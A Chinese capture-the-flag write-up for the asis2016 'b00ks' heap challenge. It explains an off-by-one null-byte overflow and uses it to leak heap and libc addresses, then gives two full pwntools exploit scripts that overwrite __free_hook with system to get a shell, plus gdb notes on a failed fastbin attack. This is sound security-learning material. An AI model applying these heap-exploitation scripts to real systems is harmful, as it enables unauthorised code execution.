这道题做得有点痛苦......因为本地通常都很难和服务器有相同的环境,使用mmap开辟空间造成的偏移会因此而变得麻烦,并且free_hook周围很难伪造chunk,一度显然恐慌......
不过本来应该很早就开始Off-By-One的学习的,竟然现在才注意到......惭愧
book结构:
struct book
{
int id;
char *name;
char *description;
int size;
}
程序具体的流程不做赘述,主要漏洞点出在sub_9F5函数中:
__int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == '\n' )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0;
return 0LL;
}
i是从0开始计数的,假设输入a2=32,那么将会通过read读取32个字符,而在++a1之后,让第33个字符的位置被“\x00”覆盖,从而造成该漏洞
该方法实用性似乎不是很高,主要的利用思路是:mmap开辟出的块与libc基址的偏移是固定的,因此只要拿到mmap开辟出的chunk的地址,就能通过一个“固定的偏移”得到libc
但这个偏移会因为不同的系统、不同的libc版本种种原因而发生偏差
笔者使用Ubuntu16的系统得出偏移后,成功在本地拿到了shell,但服务器那边却没能成功
也试着从其他师傅的wp里获取,但似乎因为BUU过去的系统升级等原因,那些偏移也没能成功,最后使用的是第二种方法拿到了服务端的shell,但其方法还是值得学习的,并且主要的思路同第二种方法是相同的
.data:0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o
.data:0000000000202010 ; sub_BBD:loc_C1B↑o ...
.data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: sub_B6D+15↑o
.data:0000000000202018 ; sub_D1F+CA↑o
IDA中可以看见名字与书的地址分布
二者相距很近,name为unk_202040,而book结构的的地址为unk_202060,因此,如果名字长达32字节,就能够泄露出第一个book结构的地址
同时,也因为上面所说的Off-By-One漏洞,我们甚至能将该book结构的最后一位置0
因此如果这样去设定:
createname("a"*32)
createbook(0xD0,"object1",0x20,"object2")
createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')
gdb-peda$ x /10gx 0x55da227e6040
0x55da227e6040: 0x6161616161616161 0x6161616161616161
0x55da227e6050: 0x6161616161616161 0x6161616161616161
0x55da227e6060: 0x000055da23194130 0x000055da23194160
0x55da227e6070: 0x0000000000000000 0x0000000000000000
0x55da227e6080: 0x0000000000000000 0x0000000000000000
接下来如果我们打印出内容,就会把地址0x000055da23194130泄露出来
并且,因为堆的初始化是按页对齐的,而该程序的生成规律是:name——>des——>book
因此,设计好每个chunk的大小,那么当我们覆盖book的最后一个字节时,就能让其指向des
gdb-peda$ x /10gx 0x000055da23194130
0x55da23194130: 0x0000000000000001 0x000055da23194020
0x55da23194140: 0x000055da23194100 0x0000000000000020
0x000055da23194100即为des,和book结构地址只有最低位不同
而des结构是我们可以任意写的,如果我们将其伪造成book结构,让这个fake book的des指向我们想要写的位置,那么我们就能达成任意地址写了
但话虽如此,我们还不知道应该往哪写
基本的想法是覆盖__free_hook或者__malloc_hook为system或one gadget
那么我们还需要泄露libc基址:
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("a"*32)
book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)
leak_addr=u64(book_name_2.ljust(8,'\x00'))
log.success("leak_addr:" + hex(leak_addr)) # [+] leak_addr:0x7f5e8d2c4010
libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)
log.success("libc_base:" + hex(libc_base))
我们可以根据堆的开辟顺序得到book2的地址,然后将book1的name和des指向book2的name和des
此时如果再打印所有book,book1的name就会泄露出book而name块的地址,而name块是通过mmap开辟而来
0x00007f5e8cd12000 0x00007f5e8ced2000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8ced2000 0x00007f5e8d0d2000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8d0d2000 0x00007f5e8d0d6000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8d0d6000 0x00007f5e8d0d8000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f5e8d0d8000 0x00007f5e8d0dc000 rw-p mapped
最后只需要将__free_hook写为system,然后把book2删除即可拿到shell
因为此时book1的des指向book2的des处,将该处改为__free_hook地址,那么写book2的des时就会往__free_hook处写入:
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
payload=p64(free_hook)
editbook(1, payload)
payload=p64(system)
editbook(2, payload)
deletebook(2)
完整exp如下:
from pwn import *
context.log_level = 'info'
binary = ELF("b00ks")
libc=binary.libc
io = process("./b00ks")
def createbook(name_size, name, des_size, des):
io.readuntil("> ")
io.sendline("1")
io.readuntil(": ")
io.sendline(str(name_size))
io.readuntil(": ")
io.sendline(name)
io.readuntil(": ")
io.sendline(str(des_size))
io.readuntil(": ")
io.sendline(des)
def printbook(id):
io.readuntil("> ")
io.sendline("4")
io.readuntil(": ")
for i in range(id):
book_id = int(io.readline()[:-1])
io.readuntil(": ")
book_name = io.readline()[:-1]
io.readuntil(": ")
book_des = io.readline()[:-1]
io.readuntil(": ")
book_author = io.readline()[:-1]
return book_id, book_name, book_des, book_author
def createname(name):
io.readuntil("name: ")
io.sendline(name)
def changename(name):
io.readuntil("> ")
io.sendline("5")
io.readuntil(": ")
io.sendline(name)
def editbook(book_id, new_des):
io.readuntil("> ")
io.sendline("3")
io.readuntil(": ")
io.writeline(str(book_id))
io.readuntil(": ")
io.sendline(new_des)
def deletebook(book_id):
io.readuntil("> ")
io.sendline("2")
io.readuntil(": ")
io.sendline(str(book_id))
createname("a"*32)
createbook(0xD0,"object1",0x20,"object2")
createbook(0x21000, '/bin/sh', 0x21000, '/bin/sh')
book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success("book1_address:" + hex(book1_addr))
payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
editbook(book_id_1, payload)
changename("a"*32)
book_id_2, book_name_2, book_des_2, book_author_2 = printbook(1)
leak_addr=u64(book_name_2.ljust(8,'\x00'))
log.success("leak_addr:" + hex(leak_addr))
libc_base=leak_addr+ (0x00007f5e8cd12000 - 0x7f5e8d2c4010)
log.success("libc_base:" + hex(libc_base))
system=libc_base+libc.symbols['system']
free_hook=libc_base+libc.symbols['__free_hook']
payload=p64(free_hook)
editbook(1, payload)
payload=p64(system)
editbook(2, payload)
deletebook(2)
io.interactive()
这是本地能够通过的方法,但受限于不能拿到服务端那边的偏移,所以只能在本地通过
另外一种泄露方式,也是笔者成功在服务端那边打通的exp
其泄露libc基址的方法与第一种不同,通过unsorted bin中的fd指针泄露
p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x10,'/bin/sh',0x10,'/bin/sh')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90)+p64(0x20))
change('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
同样的方法泄露book1的地址,然后伪造book结构
其中,heap_addr+0x30这个地址将会指向被删除的book2处的fd指针地址,由此泄露libc基址
这种方法泄露的地址不依赖与系统,arena的基址有固定的计算方式,使用常规的2.23版本libc即可拿到正确基址(虽然本题没有提供libc,但BUU里大多2.23的libc都是同一个,直接拿过来用就行了)
参考文章中,“不会修电脑”师傅是通过FastBin Attack来拿shell,但笔者这里还是同第一种方法一样,直接复写__free_hook即可
完整exp:
from pwn import *
#p=remote("node4.buuoj.cn",26109)
p = process(['./b00ks'],env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF('./b00ks')
libc = ELF("./libc.so.6")
context.log_level = 'info'
def add(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)
def delete(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))
def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)
def show():
p.sendlineafter('> ','4')
def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)
p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
change('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
realloc = libc_base+libc.symbols['realloc']
print 'libc_base-->'+hex(libc_base)
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(1,p64(__free_hook)+'\x00'*2+'\x20')
print '__free_hook-->'+hex(__free_hook)
edit(3,p64(system))
delete(3)
p.interactive()
这里是指通过Fast Bin Attack来写hook
但这种方法通常都很难精确地覆写,只能在目标附近寻址合适的位置伪造chunk
笔者在尝试该方法时遇到了比较特别的问题,特此记录一下
首先需要泄露libc基址,泄露方法同第二种方法完全一样,通过fd指针拿到了libc base,此时的bins内容为:
fastbins
0x20: 0x0
0x30: 0x55a691fe2250 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55a691fe21e0 ◂— 0x0
0x80: 0x0
unsortedbin
all: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150
留意下述的地址,我们是能够在__free_hook周围找到一个能够用以伪造chunk的位置的
gdb-peda$ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7fc45e1737a8 <__free_hook>
gdb-peda$ x /10gx 0x7fc45e1737a8-0x13
0x7fc45e173795 <_IO_stdfile_0_lock+5>: 0xc45e382700000000 0x000000000000007f
0x7fc45e1737a5 <__after_morecore_hook+5>: 0x0000000000000000 0x0000000000000000
0x7fc45e1737b5 <__malloc_initialize_hook+5>: 0x0000000000000000 0x0000000000000000
0x7fc45e1737c5 : 0x0000000000000000 0x0000000000000000
0x7fc45e1737d5 : 0x0000000000000000 0x0000000000000000
那么,我们的目标就是将0x70: 0x55a691fe21e0的fd指向0x7fc45e1737a8-0x13就能成功伪造了,然后覆盖__free_hook为system即可
但笔者经过测试之后发现,这种方法是不可行的
尽管此刻,我们能够找到合适的位置伪造chunk,但当我们成功使用edit功能复写之后,这里将会被置零
fastbins
0x20: 0x0
0x30: 0x55a691fe2250 ◂— 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55a691fe21e0 —▸ 0x7fc45e173795 <_IO_stdfile_0_lock+5> ◂— 0xc45de32ea0000000
0x80: 0x0
unsortedbin
all: 0x55a691fe2150 —▸ 0x7fc45e171b78 (main_arena+88) ◂— 0x55a691fe2150
gdb-peda$ x /10gx 0x7fc45e1737a8-0x13
0x7fc45e173795 <_IO_stdfile_0_lock+5>: 0x0000000000000000 0x0000000000000000
0x7fc45e1737a5 <__after_morecore_hook+5>: 0x0000000000000000 0x0000000000000000
0x7fc45e1737b5 <__malloc_initialize_hook+5>: 0x0000000000000000 0x0000000000000000
0x7fc45e1737c5 : 0x0000000000000000 0x0000000000000000
0x7fc45e1737d5 : 0x0000000000000000 0x0000000000000000
可以注意到,此时,这里变得不再合适了
那么接下来在进行malloc的时候,将因为无法通过chunk size的检查导致程序直接crash
笔者目前不太清楚是什么原因导致了 _IO_stdfile_0_lock中的地址被清除了,若以后得知,到那时再做补充吧
提供的代替方案之一是:覆盖__malloc_hook为某个one_gadget,然后通过realloc调整栈帧,最后用malloc来获取shell
在该方案中,__malloc_hook附近始终都有适合用于伪造的位置,因此这个方法是可以成立的,笔者也同样在该方法中拿到了shell,具体的exp请参照参考文章第二篇
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/off-by-one/#_1
BUUCFT pwn asis2016_b00ks - 不会修电脑 - 博客园